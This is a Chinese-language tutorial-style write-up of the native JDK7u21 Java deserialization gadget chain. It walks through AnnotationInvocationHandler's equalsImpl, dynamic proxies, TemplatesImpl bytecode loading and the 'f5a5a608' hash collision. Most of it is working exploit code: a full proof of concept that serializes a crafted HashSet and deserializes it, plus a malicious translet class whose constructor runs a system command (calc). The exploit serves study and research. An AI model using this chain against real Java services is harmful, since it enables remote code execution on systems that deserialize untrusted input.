一.基本信息

这个链是无需任何第三方包的,也就是原生的JDK7u21的链,其中会涉及到碰撞问题。
这一段话摘自 Y4tacker 师傅的文章
1. 在 `readObject()` 恢复对象的时候,因为 set 中储存的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作
2. 如果 set 当中两个对象 `hashCode` 相同,则会对 key 调用 `equals()` 方法,如果我们用`AnnotationInvocationHandler` 
代理一个对象,在调用 `equals()` 方法触发 `invoke()` 时,会调用 `equalsImpl` 方法,这里面会遍历 type(设置为 TemplateImpl 类) 
中的每个方法并调用,那么就会触发 `newTransform()` 或 `getOutputProperties()` 方法导致字节码加载任意代码的执行

二.浅析

在AnnotationInvocationHandler#equalsImpl中存在一个反射操作图一,我们可以执行任意类的方法,先来看看153行的getMemberMethods()方法图二,
可以看到只需要修改type就可以获取类的所有方法通过反射,刚好我们可以通过构造方法来修改图三,ok到这里我们自己模拟执行一下代码一。

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
TEST test = new TEST();
Object o = declaredConstructor.newInstance(test.getClass(), new HashMap<String, Object>());

Method declaredMethod = aClass.getDeclaredMethod("equalsImpl", Object.class);
declaredMethod.setAccessible(true);
declaredMethod.invoke(o, test);


public class TEST {

    public void admin(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}


下面我们就去找哪里调用了equalsImpl,那么在当前类中的invoke中存在调用图一看到这里就想到了动态代理,发现确实实现了InvocationHandler接口,
这里就需要用到动态代理的知识了,下面一中可以看到,equals触发的invoke,原本需要执行第二个参数接口的方法才可执行到invoke,实际上
/equals
/toString
/hashCode
会触发invoke,

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, Exception, ClassNotFoundException {

    Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
    declaredConstructor.setAccessible(true);
    TEST test = new TEST();
    InvocationHandler o = (InvocationHandler)declaredConstructor.newInstance(test.getClass(), new HashMap<String, Object>());

    Object o1 = Proxy.newProxyInstance(Serializable.class.getClassLoader(), new Class[]{Serializable.class}, o);
    o1.equals(test);
到目前为止我们执行的命令都是我们自己写的模拟的,在之前的反序列化案例中我们知道`InvokerTransformer` 和 `TemplatesImpl`是用来进行执行命令的,
这里我们就想到了`TemplatesImpl`#getOutputProperties,下面我们连贯起来图一,发现报错了原因是因为`TemplatesImpl`类中存在很多方法并且又的
方法是带参数的导致了报错也是因为不是每次都是先获取到getOutputProperties,但是问题不大`TemplatesImpl`实现了Templates接口里面存在
getOutputProperties和另外一个方法不过都是无参的图二,那么下面我们完善一下poc每次都会执行代码一。

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, Exception, ClassNotFoundException {
    Class<?> aClass1 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    Object o1 = aClass1.newInstance();
    
    byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\xinyi\\Desktop\\java测试\\JDK7u21\\Run.class"));
    Field bytecodes = aClass1.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    bytecodes.set(o1, new byte[][]{bytes});
    
    Field name = aClass1.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(o1, "666");
    
    
    Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
    declaredConstructor.setAccessible(true);
    
    InvocationHandler o = (InvocationHandler)declaredConstructor.newInstance(Templates.class, new HashMap<String, Object>());
    
    Object o2 = Proxy.newProxyInstance(Templates.class.getClassLoader(), new Class[]{Templates.class}, o);
    o2.equals(o1);

那么谁调用了equals(可控)呢?在HashSet#readObject方法中调用了map.put图一接着在put中调用equals图二,那么整个链就结束了吗?并没有 
这里会设计到Hash碰撞问题HashSet 中存在这两个值: {对象1,对象2}, 那么假设这两个对象 hash 结果相同但指针不同, 则会调用到 对象2.equals(对象1) 
方法中进行计算(复制别人的)

现在我们只需要知道一个问题就是想执行到equals就必须两个hash值相同,才会去比较执行到equals,那我们做一个实验图一,可以看到hash不一样,
原因是o2在执行到invoke里面hashCodeImpl()方法的时候直接返回了图二(没执行到equals为啥执行到了invoke,一看就知道没好好看前面不是有hashCode吗?)
,所以我们需要两个hash相同,这里就需要碰撞问题了,感兴趣的可以自己去跑一下就出来了f5a5a608,我直接贴poc了代码一。

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, Exception, ClassNotFoundException {
        Class<?> aClass1 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Object o1 = aClass1.newInstance();

        byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\xinyi\\Desktop\\java测试\\JDK7u21\\Run.class"));
        Field bytecodes = aClass1.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(o1, new byte[][]{bytes});

        Field name = aClass1.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(o1, "666");


        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        HashMap<String, Object> tempMap = new HashMap<>();
        tempMap.put("f5a5a608", o1);
        InvocationHandler o = (InvocationHandler)declaredConstructor.newInstance(Templates.class, tempMap);

        Object o2 = Proxy.newProxyInstance(Templates.class.getClassLoader(), new Class[]{Templates.class}, o);

        HashSet<Object> objects = new HashSet<>();
        objects.add(o2);
        objects.add(o1);
        serialize(objects);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }

    public static Object unserialize(String filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }
}


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Run extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{


    public Run() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

上面就是7u21的浅析,具体还是师傅们自己动手来进行学习。更新慢是因为在挖腾讯src,争取今年整个奔驰e300刷刷。